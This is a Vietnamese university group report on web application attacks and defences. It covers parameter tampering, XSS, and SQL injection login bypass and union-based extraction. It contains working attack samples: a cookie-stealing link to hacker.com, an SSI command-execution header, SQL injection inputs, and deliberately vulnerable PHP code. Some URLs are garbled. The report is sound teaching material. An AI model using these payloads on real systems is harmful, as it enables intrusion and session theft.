HỌC VIỆN KỸ THUẬT QUÂN SỰ
KHOA CÔNG NGHỆ THÔNG TIN
BÀI TẬP MÔN HỌC
AN NINH HỆ THỐNG MẠNG MÁY TÍNH
Đề tài: WEB APPLICATION SECURITY
Giảng viên: TS Trần Hồng Quang.
Học viên : Nguyễn Thị Hương.
Nguyễn Duy Hoàng.
Trần Danh Minh Hoàng.
Nguyễn Việt Hùng.
Lớp: CH CNTT K25B.
HÀ NỘI - 10/2014
An ninh hệ thống mạng máy tính
Nhóm 19 - CHCNTT K25B HVKTQS
2
MỤC LỤC
LỜI MỞ ĐẦU 3
CHƯƠNG 1: TỔNG QUAN VỀ ỨNG DỤNG WEB 4
I. Khái niệm ứng dụng Web 4
II. Một số lỗi bảo mật ứng dụng web thông dụng 6
CHƯƠNG 2. CÁC PHƯƠNG PHÁP TẤN CÔNG ỨNG DỤNG WEB 7
I. Information & Discovery 7
1. Spidering/Site Crawling 7
2. Dentifiable Characteristics 7
3. Errors and Response Codes 7
4. File/Application Enumeration 8
5. Network Reconnaissance 8
II. Một số cách tấn công ứng dụng web 9
1. Thao tác trên tham số truyền 9
2. Chèn mã lệnh thực thi trên trình duyệt nạn nhân (Cross-Site Scripting) 12
3. Chèn câu truy vấn SQL 15
4. File include 20
5. Upload file 25
6. Yêu cầu giả mạo (Cross-Site Request Fogery) 28
7. Chiếm hữu phiên làm việc 32
8. Tổng kết quá trình tấn công của Hacker 36
9. Tổng kết các biện pháp phòng thủ 39
III. Authentication/Authorization 42
IV. System Mis-Configurations 42
KẾT LUẬN… 43
TÀI LIỆU THAM KHẢO 44
An ninh hệ thống mạng máy tính
Nhóm 19 - CHCNTT K25B HVKTQS
3
LỜI MỞ ĐẦU
Trong thời đại ngày nay, Internet đã trở nên rất quen thuộc và là một công cụ
hữu ích để một đất nước giới thiệu hình ảnh hay đơn giản chỉ là một trang web cá nhân
của một ai đó giới thiệu về mình. Tất cả đã kéo theo sự phát triển không ngừng của các
ứng dụng web. Và dần dần, khái niệm ứng dụng web đã trở nên phổ biến. Khi mà trên
internet, ứng dụng web đã trở lên phổ biến và được ứng dụng một cách rộng rãi thì các
cuộc tấn công ứng dụng web cũng phát triển hết sức phức tạp. Điều này đã đặt ra vấn
đề cấp thiết cần làm như thế nào để bảo đảm an toàn thông tin cho ứng dụng web,
thông tin của người sử dụng. Các khái niệm chuyên môn về ứng dụng web và tấn công
ứng dụng web cũng dần trở lên phổ biến hơn trong các tài liệu chuyên ngành. Các
công cụ hỗ trợ người lập trình web, người quản trị mạng cũng xuất hiện giúp tìm kiếm
lỗ hổng của ứng dụng web, nhưng nó không theo kịp sự phát triển nhanh đến mức
chóng mặt theo xu hướng nhanh hơn, đẹp hơn của các ứng dụng web, và tất nhiên nó
không thể ngăn chặn hoàn toàn các cuộc tấn công ứng dụng web, khi mà các cuộc tấn
công ngày càng đa dạng khai thác triệt để những lỗi của ứng dụng web, của người
quản trị, hay người lập trình ứng dụng web.
Thống kê cho thấy 75% cuộc tấn công internet là tấn công ứng dụng web, nó
gây ra những thiệt hại vô cùng to lớn, vì vậy việc tìm hiểu về tấn công ứng dụng web
là rất cần thiết nhằm có cách phòng chống tấn công và bảo mật ứng dụng web hiệu quả
trở thành một yêu cầu cấp thiết…
Do đây là một xu hướng tất yếu của thời đại, nên việc tìm hiểu và nghiên cứu
ứng dụng web sẽ giúp ích rất nhiều cho các nhà lập trình web mới, hay các quản trị
viên mới còn ít kinh nghiệm trong việc quản trị hệ thống mạng của mình, phòng tránh,
hay khắc phục những lỗi của ứng dụng web. Bài tập lớn được thực hiện nhằm mục
đích giới thiệu rõ hơn về ứng dụng web nhằm tránh những nhầm lẫn và đồng thời tìm
hiểu những tấn công ứng dụng web phổ dụng nhằm cách phòng chống, bảo mật web
một cách hợp lý.
An ninh hệ thống mạng máy tính
Nhóm 19 - CHCNTT K25B HVKTQS
4
CHƯƠNG 1: TỔNG QUAN VỀ ỨNG DỤNG WEB
I. Khái niệm ứng dụng Web
Ứng dụng web là một ứng dụng chủ/ khách sử dụng giao thức HTTP để tương
tác với người dùng hay hệ thống khác.
Dưới góc độ chức năng, ứng dụng Web là các chương trình máy tính cho phép
người dùng website đăng nhập, truy vấn vào ra dữ liệu qua mạng Internet trên trình
duyệt Web yêu thích của họ. Dữ liệu sẽ được gửi tới người dùng trong trình duyệt theo
kiểu thông tin động (trong một định dạng cụ thể, như với HTML thì dùng CSS) từ ứng
dụng Web qua một Web Server.
Trình khách dành cho người sử dụng thường là một trình duyệt Web như
Internet Explorer hay Netscape Navigator. Cũng có thể một chương trình đóng vai trò
đại lý người dung hoạt động như một trình duyệt tự động. Người dùng gửi và nhận các
thông tin từ trình chủ thông qua việc tác động mua bán, các diễn đàn, gửi nhận email.
Tốc độ phát triển các kỹ thuật xây dựng ứng dựng web cũng phát triển rất
nhanh. Ngày nay ứng dụng web thường được viết bằng Java hay các ngôn ngữ tương
tự và chạy trên máy chủ phân tán, kết nối đến nhiều nguồn dữ liệu.
Một ứng dụng web thường có cấu trúc như sau:
Hoạt động của ứng dụng Web: Đầu tiên trình duyệt sẽ gửi một yêu cầu
(request) đến máy chủ Web thông qua các phương thức cơ bản GET, POST…của giao
thức HTTP, trình chủ lúc này có thể cho thực thi một chương trình được xây dựng từ
nhiều ngôn ngữ như C/C++, PHP, ASP,… hoặc trình chủ yêu cầu bộ diễn dịch thực thi
các trang JSP, JAVAR…theo yêu cầu của trình khách.
Tuỳ theo các tác vụ của chương trình được cài đặt mà nó xử lý, tính toán, kết nối
đến cơ sở dữ liệu, lưu các thong tin do trình khách gửi đến…và từ đó trả về cho trình
khách một luồng dữ liệu có định dạng theo giao thức HTTP or HTTPS, nó gồm 2 phần:
An ninh hệ thống mạng máy tính
Nhóm 19 - CHCNTT K25B HVKTQS
5
Header mô tả các thông tin về gói dữ liệu và các thuộc tính, trạng thái
trao đổi giữa trình duyệt và webserver.
Body là phần nội dung dữ liệu mà server gửi về client, nó có thể là một
file HTML, một hình ảnh, một đoạn phim hay một văn bản bất kỳ.
Sơ đồ rủi ro ở một số lớp:
Mô hình bức tường lửa
An ninh hệ thống mạng máy tính
Nhóm 19 - CHCNTT K25B HVKTQS
6
SSL makes me secure:
II. Một số lỗi bảo mật ứng dụng web thông dụng
Trusting Client – side data
Unescaped Special Characters
HTML Character Filtering
Authentication mechanisms using technologies such as JavaScript or ActiveX.
Lack of re-authenticating the user before issuing new passwords or
performing critical tasks.
Hosting of uncontrolled data on a protected domain
Các lỗi bảo mật ở trên có thể xuất hiện trong tất cả các ứng dụng web, bất kể nó
được phát triển bởi các chuyên gia độc lập hay các công ty phần mềm nổi tiếng nhất.
An ninh hệ thống mạng máy tính
Nhóm 19 - CHCNTT K25B HVKTQS
7
CHƯƠNG 2. CÁC PHƯƠNG PHÁP TẤN CÔNG ỨNG DỤNG WEB
I. Information & Discovery
Trước khi tấn công một mục tiêu nào đó mà chúng ta tìm hiểu được chi tiết về
mục tiếu đó thì khả năng tấn công thành công sẽ cao. Do vậy các tin tặc muốn tấn công
một hệ thống họ sẽ tìm các thông tin chi tiết về hệ thống đó dựa vào các công cụ tìm
kiếm, các lỗi phát sinh từ các ứng dụng … Đưới đây là một số cách thức tìm hiểu
thông tin để tấn công.
1. Spidering/Site Crawling
Spider web là những công cụ mạnh nhất và hữu ích nhất cho những thứ tốt và
xấu trên internet. Một Spider có chức năng chính là khai thác dữ liệu. Cách một spider
hoạt động điển hình là thu thập thông tin của một trang web tại một thời điểm. Nó sẽ
thu thập các địa chỉ liên quan như là địa chỉ email, các thẻ meta, dữ liệu ẩn, thông tin
URL, và các liên kết khác.
Google.com là một spider điển hình. Người ta sử dụng spider để hack và được
gọi là “google hack”
Chúng ta có thể sử dụng công cụ wget để lấy các thông tin được công bố trong
các ứng dụng
Ví dụ:
Để thu thập các tiêu đề HTTP của các web ta dùng lệnh sau
wget-S –spider <mục tiêu>
Để thu thập nội dung trang web ta dùng lệnh sau
wget-r-D <miền> <mục tiêu>
2. Dentifiable Characteristics
Đặc điểm nhận dạng là những tính năng mô tả một trang web hay nói một cách
khác họ sẽ nói cho bạn biết các thông tin về trang web.
3. Errors and Response Codes
Để tìm hiểu mục tiêu tấn công thì vấn đề các lỗi của web application cũng mang
lại rất nhiều thông tin. Kẻ tấn công có thể dựa vào các HTTP Response. Trong mỗi
HTTP Response đều chứa một trạng thái mã (status code). Các trạng thái mã cho biết
kết quả truy vấn mà máy chủ web trả về.
Ví dụ Thông tin HTTP Response
HTTP/1.1 200 OK
Date: Tue, 17 Dec 2013 03:30:53 GMT
An ninh hệ thống mạng máy tính
Nhóm 19 - CHCNTT K25B HVKTQS
8
Server: IBM_HTTP_SERVER/1.3.26.2 Apache/1.3.26 (Unix)
Set-Cookie: tracking=tI8rk7joMx44S2Uu85nSWc
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Content-Length: 24246
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html lang="en">
<head>
<meta http-equiv="Content-Type" content=”text/html;
charset=iso-8859-1”>
4. File/Application Enumeration
Đây là một kỹ thuật phổ biến được sử dụng để liệt kê và truy cập tài nguyên
không được tham chiếu bởi ứng dụng nhưng vẫn có thể truy cập. Kẻ tấn công có thể
tìm kiếm bằng cách sử dụng công nghệ Brute Force để tìm kiếm các nội dung không
liên kết trong thư mục domain như là các thư mục temporary và tệp tin các tệp tin sao
lưu cũ cũng như các tập tin cấu hình cũ. Các tài nguyên này có thể lưu trữ thông tin
nhạy cảm về web application.
5. Network Reconnaissance
Cách này dùng các công cụ và các tiện ích khác nhau để tìm hiểu thu thập thông
tin. Cách dò tìm này kẻ tấn công thường dò địa chỉ IP, dò các dịch vụ đang chạy.
Sau đây, tôi xin giới thiệu về một số cách tấn công các ứng dụng web và một số
cách phòng chống (các kỹ thuật tấn công và bảo mật ứng dụng web):
- Thao tác trên tham số truyền.
- Chèn mã lệnh thực thi trên trình duyệt nạn nhân (Cross-Site-Scripting).
- Chèn câu truy vấn SQL.
- File Include.
- Upload File.
- Yêu cầu giả mạo (Cross-Site-Request Fogery - CSRF).
- Chiếm hữu phiên làm việc.
An ninh hệ thống mạng máy tính
Nhóm 19 - CHCNTT K25B HVKTQS
9
- Tổng kết quá trình tấn công của hacker.
- Tổng kết các biện pháp phòng chống.
II. Một số cách tấn công ứng dụng web
1. Thao tác trên tham số truyền
1.1. Thao tác trên URL
a. Phát hiện lỗ hổng
Khi nhập tham số vào 1 form HTML thì kết quả sẽ được truyền đến server theo
hai cách: GET và POST. Nếu dùng GET thì tất cả tên biến và giá trị sẽ được truyền đi
và xuất hiện trên URL.
Ví dụ: Một URL thực hiện việc thay đổi mật khẩu được truyền đến server bằng
phương thức GET:
Chúng ta quan sát URL trên thì sẽ thấy URL chứa 2 biến username và password
với giá trị là username: ACE_AnGeL và password: 123456
Với cách truyền tham số này, hacker có thể dễ dàng thay đổi username và
password theo ý mình:
Hay:
Vậy hacker có thể thay đổi password của bất kì user nào với việc chỉ cần biết
username.
Thật nguy hiểm nếu website của chúng ta truyền tham số như vậy trong các
hành động nhạy cảm.
b. Một số biện pháp khắc phục
Để khắc phục sự nguy hiểm của việc truyền tham số qua phương thức GET này
ta có thể làm theo một số cách sau đây:
Sử dụng phương thức POST thay vì GET
Sử dụng cơ chế hàm băm (hash table). Khi người dùng chứng thực thành công
với username và password hợp lệ, hệ thống sẽ sinh ra một khóa tương ứng, khóa này
sẽ được lưu trên server và dùng để chứng thực các hành động của user này. Nếu khóa
này không hợp lệ chứng tỏ hành động của user đã bị mạo danh.
Đối với những thông tin có giá trị, cần mã hóa thông tin này trước khi cho hiển
thị trên trình duyệt để tránh hacker có thể thay đổi tùy ý.
An ninh hệ thống mạng máy tính
Nhóm 19 - CHCNTT K25B HVKTQS
10
1.2. Thao tác trên biến ẩn form
a. Phát hiện
Trong HTML có thể truyền thông tin qua một biến ẩn form đó là hiden field.
Biến ẩn form không hiển thị trên màn hình trình duyệt nhưng có thể xem nội dung này
thông qua việc view source, vì thế đây có thể là một điểm yếu để hacker lợi dụng nếu
hiden field này chứa các thông tin có giá trị nếu nó chứa các thông tin có giá trị ví dụ
như giá của mặt hàng.
Ví dụ 1 form có nội dung như sau:
<form action=” menthod=”POST” >
<input type=”hiden” name=”cost” value=”100”>
</form>
Với nội dung form như trên thì trình duyệt sẽ gửi đến trình chủ nội dung như sau:
POST /
Cost=100
Nhưng nếu hacker download source code của form và sửa giá trị của hiden field
như sau:
<form action=” menthod=”POST” >
<input type=”hiden” name=”cost” value=”1”>
</form>
Thì request đến trình chủ sẽ bị thay đổi là:
POST / HTTP/1.0
Cost=1
Ngoài việc hacker có thể thay đổi giá trị của các hiden field, hacker còn có thể
thay đổi các nội dung các của form như độ dài của 1 ô nhập dữ liệu để tiến hành các kỹ
thuật tấn công như Buffer over flow, …
b. Một số biện pháp khắc phục
Chỉ nên sử dụng biến ẩn form để lưu giữ những biến ít giá trị như có tác dụng
tính toán việc hiển thị trên trình duyệt chứ không nên dùng biến ấn form để lưu giữ
những giá trị thao tác ứng dụng.
Dùng tham số HTTP_REFERER để kiểm tra xem nguồn gốc của request,
nhưng hacker cũng có thể thay đổi tham số này để đánh lừa trình chủ. Vậy ta cũng ko
nên quá tin tưởng vào tham số này.
Trên trình chủ nên sử dụng các thông tin được tham chiếu từ cơ sở dữ liệu để
tính toán.
An ninh hệ thống mạng máy tính
Nhóm 19 - CHCNTT K25B HVKTQS
11
1.3. Thao tác trên Cookie
a. Phát hiện
Vì cookie là thành phần lưu trữ thông tin bảo mật nhất nên cookie thường được
sử dụng để lưu trữ các trạng thái cho giao thức HTTP hơn là sử dụng biến ấn form hay
tham số URL. Nó còn được sử dụng để lưu trữ những thông tin của người dùng khi thao
tác ứng dụng và các dữ liệu quan trọng khác như session ID,… Nhưng cookie cũng có
thể bị thay đổi rất dễ dàng nhờ các tool bởi người dùng và hacker có thể lợi dụng việc
này để phá hoại ứng dụng. SSL chỉ có tác dụng bảo vệ cookie trong quá trình truyền chứ
không đảm bảo được việc cookie có bị thay đổi hay không trước khi truyền.
Ví dụ: Một cookie của ứng dụng chứa các tham số như sau:
Cookie: lang=en-us; ADMIN=no; y=1 ; time=10:30GMT ;
Cookie này xác định người dùng không phải là admin với tham số ADMIN=no,
Nhưng nếu hacker thay đổi trường này thành yes thì điều gì sẽ xảy ra? Ví dụ hacker
thay đổi cookie này như sau:
Cookie: lang=en-us; ADMIN=yes; y=1 ; time=10:30GMT ;
Hacker đã mang vai trò là admin của ứng dụng.
b. Một số biện pháp khắc phục
- Sử dụng đối tượng session lưu trữ thông tin quan trọng trên trình chủ. Khi ứng
dụng cần kiểm tra thông tin một người dùng, ứng dụng sẽ dùng session ID của người
dùng đó để tham chiếu đến thông tin được lưu trong cơ sở dữ liệu.
- Xây dựng 1 cơ chế kiểm tra nội dung của cookie để xác định xem cookie đó
có hợp lệ hay không. Ví dụ như nếu biến ADMIN=yes nhưng ID của ID của người
dùng đó không đúng với ID trong CSDL thì cookie đó là giả mạo.
- Phương pháp cuối cùng là mã hóa cookie.
1.4. Thao tác trong HTTP Header
Các tham số như URL, cookie hay biến ẩn form người dùng có thể xem và thay
đổi, nhưng những tham số đó đều được truyền đến trình chủ thông qua HTTP Header.
Tuy HTTP Header không phải là tham số truyền của ứng dụng nhưng mọi thông tin
truyền đến trình chủ đều được lưu giữ trên nó, nên ta sẽ cùng tìm hiểu cách thức để
thay đổi nội dung một HTTP Header.
a. Phát hiện
Thông thường, chỉ có trình duyệt và trình chủ là trao đổi thông tin qua HTTP
Header, còn hầu hết các ứng dụng web thì không. Tuy nhiên hacker có thể tự viết một
chương trình hoặc sử dụng những tool có sẵn để xem và thay đổi nội dung hay sử dụng các
An ninh hệ thống mạng máy tính
Nhóm 19 - CHCNTT K25B HVKTQS
12
proxy miễn phí cho phép thay đổi được dữ liệu được gửi từ trình duyệt. Ngoài ra, hacker
còn có thể tấn công trực tiếp đến trình chủ bằng cách telnet gửi HTTP Header Request.
Ví dụ:
su-2.05# telnet localhost 80
Trying 127.0.0.1
Connected to localhost.
Escape character is ‘^]’. GET /HTTP/1.0
Referer: www.test.com/login.php
User-Agent: <! #exec cmd=”/bin/id” >
HTTP/1.1 200 OK
Date: Mon, 17 Dec 2011 20:39:02 GMT Server:
Connection: close
Content-Type: text/html
(Những phần in đậm là nội dung hacker thay đổi)
Ví dụ: Một ứng dụng kiểm tra tham số Referer trong HTTP header để đảm bảo
rằng request này được gửi từ 1 trang web của ứng dụng đó (Vì Referer chứa URL của
trang web gửi request). Việc này ngăn chặn hacker lưu source code về máy, chính sửa
tùy ý rồi gửi đi. Nhưng phương pháp kiểm tra này sẽ thất bại nếu hacker sửa tham số
Referer này giống như được gửi từ trang hợp lệ.
b. Một số biện pháp khắc phục
Đơn giản là không nên tin tưởng vào HTTP Header nếu như không có các biện
pháp an toàn. Với các header được gửi từ trình chủ thì nên mã hóa, còn các header
được gửi từ trình khách thì không nên tin tưởng các tham số như Referer, … để thực
hiện các biên pháp an toàn.
2. Chèn mã lệnh thực thi trên trình duyệt nạn nhân (Cross-Site Scripting)
2.1. Kỹ thuật tấn công Cross-Site Scripting (XSS)
Phương pháp tấn công Cross-Site Scripting (XSS) là phương pháp tấn công
bằng cách chèn thêm những đoạn mã có khả năng đánh cắp hay thiết lập những thông
tin quan trọng như cookie,… vào mã nguồn của ứng dụng web để từ đó chúng được
chạy như 1 phần của ứng dụng web và có chức năng cung cấp hoặc thực hiện 1 số điều
hacker mong muốn.
Phương pháp này không nhằm vào máy chủ hệ thống mà chủ yếu tấn công vào
máy của người sử dụng. Hacker sẽ lợi dụng sự lỏng lẻo của hệ thống, hiểu biết hạn chế
của người dùng cũng như đánh vào sự tò mò của họ dẫn đến chiếm đoạt được các
thông tin quan trọng 1 cách dễ dàng.
Thông thường hacker sử dụng liên kết URL đã gắn thêm những đoạn mã được
An ninh hệ thống mạng máy tính
Nhóm 19 - CHCNTT K25B HVKTQS
13
viết bằng ngôn ngữ trình duyệt như JavarScript hay VBScript,… nhằm thực thi trên
máy của nạn nhân.
Ví dụ:
Hay :
/>ent.cookie%29%3C%2Fscript%3E
Phần in đậm chính là nội dung mà hacker thêm vào nhằm mục đích đánh cắp
cookie của nạn nhân. Ví dụ trên chỉ minh họa 1 cách rất đơn giản trong kỹ thuật tấn công
này là thêm đoạn mã vào URL, nhưng có rất nhiều cách để thêm đoạn mã JavarScript
trong kỹ thuật tấn công XSS này. Một số ví dụ khác về cách thêm các đoạn mã:
<a href=”javarscript: [code]”>
<div onmouseover=”[code]”>
<img src=” javarscript: [code]”>
<img dynsrc=” javarscript: [code]”>
<input type=”image” dynsrc=”javarscript: [code] >
……
Các phần in đậm là nơi mà hacker có thể đặt các đoạn mã nhằm đánh cắp thông tin.
2.2. Phương pháp tấn công XSS truyền thống
Ứng dụng thường lưu trữ các thông tin quan trọng ở cookie, cookie là mẩu
thông tin mà ứng dụng lưu trên ổ đĩa cứng của máy người dùng nhưng chỉ những ứng
dụng thiết lập cookie thì mới có thể đọc nó. Chính vì thể chỉ những người dùng đang
trong phiên làm việc của ứng dụng thì hacker mới có cơ hội sử dụng kỹ thuật XSS để
đánh cắp cookie. Công việc đầu tiên của hacker khi đã tìm ra một ứng dụng bị lỗ hổng
XSS là dụ người dùng đăng nhập vào ứng dụng web đó.
Các bước thực hiện kỹ thuật tấn công XSS truyền thống:
Bước 1: Hacker tìm ra lỗ hổng XSS trên một ứng dụng web.
Bước 2: Người dùng đang trong phiên làm việc trên ứng dụng nhận được một
liên kết thông qua email hay trên chính ứng dụng đó. Thông thường hacker dụ người
dùng chú ý đến những liên kết đó bằng những câu kích thích sự tò mò như: Kiểm tra
tài khoản hay một phần thưởng đang chờ bạn,…
Bước 3: Khi người dùng click vào những liên kết đó thì đoạn mã mà hacker
viết ra có tác dụng chuyển thông tin cookie đánh cắp được về một chương trình CGI
hoặc trang web của hacker và lưu trữ vào một tập.
Bước 4: Sau khi nhận được cookie đánh cắp, hacker dùng nó để thâm nhập vào
An ninh hệ thống mạng máy tính
Nhóm 19 - CHCNTT K25B HVKTQS
14
phiên làm việc của nạn nhân.
Ví dụ: Trang web có lỗ hổng XSS, hacker sẽ thực hiện kỹ
thuật tấn công XSS như sau:
Khi hacker phát hiện ra website có lỗ hổng XSS, hacker
gửi đến cho những người dùng của ứng dụng này một liên kết có thể dạng như sau:
<ahref= ‘ />ce(‘http :www.hacker.com/steal.cgi?’+document.cookie) ;</script>’> Một phần
thưởng hấp dẫn đang chờ bạn </a>
Vậy nếu người dùng click vào liên kết do hacker gửi đến sẽ trở thành nạn nhân
của hacker, cookie của họ sẽ bị đánh cắp và là tham số truyền vào cho chương trình
steal.cgi của hacker.
Nhưng những liên kết như vậy nếu một người dùng cảnh giác và có thể có một
chút kiến thức về lập trình web hay hiểu biết một chút về XSS thì sẽ rất khó bị mắc
lừa. Nhưng hacker có thể sử dụng liên kết có dạng như sau:
/>69%70%74%3E%61%6C%65%61%72%74%28%64%63%75%6D%65%6E%6C%74
%2E%63%6F%6F%6B%69%65%29%3C%2F%73%63%72%69%70%74%3E]http://t
est.com/index.php?%71%75%65%61 %72%69%70%74%3E
Đó chính là cách là hacker qua mặt người dùng, bởi vì liên kết đã được thay thế
bằng mã Hex, tất nhiên trình duyệt vẫn hiểu liên kết thực sự là gì.
2.3. Tấn công XSS bằng Flash
Ngoài những cách tấn công trên hacker còn có thể sử dụng những tập tin flash
nhờ vào một ngôn ngữ kịch bản là ActionScript. Macromedia Flash cho phép
Actionscript được thực thi dưới những tập tin flash, Action script có cú pháp đơn giản
và tương tự như Javarscript, C hay Pearl. Ví dụ hàm getURL dùng để gọi đến 1 trang
web khác, tham số thường là 1 URL chẳng hạn như
getURL(‘’)
Tuy nhiên ta cũng có thể thay thế URL trên bằng một đoạn mã JavarScript như
sau:
getURL(‘javascript :alert(document.cookie)’)
hoặc:
getURL(‘javarscript :location(‘ ?cookie=’+document.cookie)’)
Các trang web cho phép thành viên gửi dữ liệu dưới dạng HTML hoặc tạo chữ kí
riêng như các diễn đàn đều có thể trở thành nạn nhân của phương pháp tấn công này.
An ninh hệ thống mạng máy tính
Nhóm 19 - CHCNTT K25B HVKTQS
15
2.4. Cách phòng chống
- Với những dữ liệu, thông tin do người dùng nhập vào, ta cần phải thực hiện 1
số biện pháp như sau:
+ Tạo danh sách những thẻ HTML được phép sử dụng.
+ Xóa bỏ thẻ <script>.
+ Lọc bất kì một đoạn mã JavarScipt/Java/VBScipt/… nào.
+ Lọc dấu nháy đơn và nháy kép.
+ Lọc ký tự NULL.
+ Xóa những ký tự ‘>’, ‘<’.
+ Vẫn cho phép nhập những ký tự đặc biệt nhưng sẽ mã hóa theo chuẩn riêng.
- Đối với người dùng: cần cấu hình lại trình duyệt để nhắc nhở người dùng có
cho thực thi ngôn ngữ kịch bản trên máy của họ hay không? Tùy vào mức độ tin cậy
mà người dùng sẽ quyết định.
- Một cách đơn giản hơn để chống lại hình thức tấn công này đó là mã hóa các
thẻ html trước khi in ra trình duyệt bằng cách dùng hàm htmlentities().
2.5. Nhận xét
Kỹ thuật XSS khá phổ biến và dễ áp dụng, tuy nhiên mức độ thiệt hại chỉ dừng
lại ở mức độ tấn công trên máy của nạn nhân thông qua những liên kết hay form lừa
đảo mà hacker gửi đến. Vì thế, ngoài việc kiểm tra tính đúng đắn của dữ liệu trước khi
sử dụng thì việc cần thiết là nên cảnh giác trước khi truy cập vào 1 trang web mới. Có
thể nói rằng nhờ sự cảnh giác của người dùng thì 90% họ đã đạt được sự bảo mật trước
hình thức tấn công này.
3. Chèn câu truy vấn SQL
3.1. Khái niệm SQL Injection
SQL Injection là kỹ thuật tấn công bằng cách lợi dụng những lỗ hổng trong quá
trình lập trình web trong bước truy xuất cơ sở dữ liệu. Lợi dụng lỗ hổng này, hacker có
thể thông qua việc nhập dữ liệu để tiến hành những lệnh điều khiển CSDL như select,
delete, insert,… mà người quản trị ứng dụng không mong muốn. Từ đó hacker có thể
chiếm quyền điều khiển hệ thống.
3.2. Các cách tấn công
a. By Pass
Với dạng tấn công này, hacker có thể lợi dụng lỗ hổng SQL injection để vượt
qua các trang đăng nhập một cách khá đơn giản.
An ninh hệ thống mạng máy tính
Nhóm 19 - CHCNTT K25B HVKTQS
16
Ta sẽ xét một trang đăng nhập có nội dung code như sau:
<form id="login" name="login" method="post" action="dologin.php">
Userame : <input name="user" type="text" id="user" />
Password: <input name="pass" type="text" id="pass" />
<input type="submit" name="Submit" value="Submit" />
</form>
Và trang dologin.php như sau:
<?php
include(" / /include/conn.inc");
$user = $_POST['user'];
$pass = md5(md5($_POST['pass']));
$result = mysql_query("SELECT * FROM tbl_dangnhap WHERE username =
'$user' AND pass = '$pass'");
if($result){ $num = mysql_num_rows($result); if($num < 0){ echo
"Fail.";$check = false; }else{ echo "susscess.";$check = true; }}else{ echo "Fail.";
$check = false;}
?>
Thông thường thì đoạn code trang dologin.php này không hề có sự mất an toàn
nào. Và người dùng không thể đăng nhập nếu như không có username và password
hợp lệ. Nhưng thực sự thì đoạn mã này lại tiềm ẩn một lỗ hổng về SQL Injection rất
lớn. Điểm mấu chốt nằm ở chỗ dữ liệu nhập vào từ người dùng được trực tiếp dùng để
xây dựng lên câu truy vấn CSDL. Chính vì thế, hacker có cơ hội để điều khiển câu truy
vấn này theo ý muốn. Ví dụ như hacker có thể nhập dữ liệu vào cả user và password
như sau: ‘ OR ‘ ‘ = ‘ . Lúc này câu truy vấn CSDL sẽ trở thành:
SELECT * FROM tbl_user WHERE username = ‘’ or ‘’ = ‘’ AND pass = ‘’ or ‘’ = ‘’
Câu truy vấn này luôn luôn trả về kết quả là tất cả các record trong bảng
tbl_user. Vậy cách kiểm tra login như trên đã bị vượt qua.
Hoặc khi hacker biết được username của người quản trị là admin chẳng hạn,
hacker có thể nhập như sau: user: admin’ | pass: everything. Câu truy vấn CSDL trở
thành: SELECT * FROM tbl_user WHERE username = ‘admin’ AND pass =
‘md5(md5(everything))’. Vậy hacker đã có thể đăng nhập với tài khoản ‘admin’ mà
không hề cần biết password là gì.
Nhưng code php trên có thể người lập trình sẽ code chặt chẽ hơn một chút như sau:
$username = $_POST['username'];
$pass = $_POST['pass'];
$pass = md5(md5($pass));
$sql = "SELECT * FROM tbl_dangnhap WHERE username = '$username'
An ninh hệ thống mạng máy tính
Nhóm 19 - CHCNTT K25B HVKTQS
17
AND pass = '$pass' LIMIT 1";
$result = mysql_query($sql);
$num = mysql_num_rows($result);
echo $sql."<br/>";
echo $num."<br/>";
if($num == 1){
echo “Susscess”;
}else{
echo "Try Againt";
}
Vậy với cách by pass như trên sẽ gặp khó khăn nếu bảng tbl_dangnhap có hơn
1 user trong trường hợp ko biết trước username vì Khi ta đăng nhập với username là: ‘
or 1=1 thì câu truy vấn SQL sẽ trả về lớn hơn một kết quả được tìm thấy, mà người lập
trình lại kiểm tra nếu có một kết quả thì quá trình đăng nhập mới thành công.
Trong trường hợp này ta có thể bypass như sau:
Username: ‘ or 1=1 limit 1 #
Pass: everything
Như vậy câu truy vấn sql sẽ trở thành: SELECT * FROM tbl_dangnhap WHERE
username = ‘’ or 1=1 limit 1 #’ AND pass = ‘md5(md5(‘everything’))’ LIMIT 1.
Có một kết quả trả về duy nhất do limit 0,1 và đó là kết quả đầu tiên ứng với tài
khoản admin đầu tiên trong bảng tbl_dangnhap.
Tương tự như vậy, nếu thay thành limit 1,1 thì hacker có thể đăng nhập bằng tài
khoản admin thứ hai thì hacker có thể by pass toàn bộ các tài khoản có trong bảng
tbl_dangnhap.
b. Kết hợp odder by, select và union
Dạng tấn công này phức tạp hơn, nhưng ta có thể lấy được thông tin về
username và password hoặc bất cứ một thông tin nào khác trong CSDL. Để tìm hiểu
phương pháp tấn công này ta cùng thử một ví dụ sau.
Ví dụ 1: trang hiển thị chi tiết sản phẩm, trang này sẽ nhận id sản phẩm trên url
rồi dùng id đó để truy xuất chi tiết sản phẩm từ CSDL
Code của trang này có thể được viết như sau:
<?php
include(“ / /conn.inc”);
if(isset($_GET[‘idpro’])){
$idpro = $_GET[‘idpro’];
An ninh hệ thống mạng máy tính
Nhóm 19 - CHCNTT K25B HVKTQS
18
}else{
$idpro = 39;
}
//$idpro = $idpro/1;
$sql = “SELECT * FROM tbl_product WHERE ID = $idpro”;
echo $sql;
$result = mysql_query($sql);
$row = mysql_fetch_array($result);
include(“detail.html”);
?>
Url của trang này ví dụ như sau:
http://localhost/demo/sqli/getdata/detail.php?idpro=39
Ta thử thêm dấu ‘ vào cuối url
http://localhost/demo/sqli/getdata/detail.php?idpro=39’
Nếu như xuất hiện thông báo lỗi hoặc có thể không thông báo lỗi nhưng trang
web sẽ ko hiển thị chi tiết sản phẩm nữa thì ta có thể trang web này đã dính lỗi sql
injection.
Ta thử tiếp như sau:
http://localhost/demo/sqli/getdata/detail.php?idpro=39+or+1=1
Nếu web vẫn hiển thị chi tiết sản phẩm như bình thường thì ta làm tiếp như sau:
http://localhost/demo/sqli/getdata/detail.php?idpro=39+order+by+1
Ta tăng dần lên order by 2 , 3, 4 , … cho đến khi xuất hiện thông báo lỗi :
Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean
given in C:\wamp\www\demo\sqli\getdata\detail.php on line 13
Như ở ví dụ này khi ta thay order by 19 thì xuất hiện thông báo lỗi
Vậy ta biết được trong câu truy vấn lấy thông tin sản phẩm đã lấy ra 18 cột
trong CSDL
Ta tiếp tục dùng union để lấy thông tin từ database
http://localhost/demo/sqli/getdata/detail.php?idpro=39+AND+1=0+union+selec
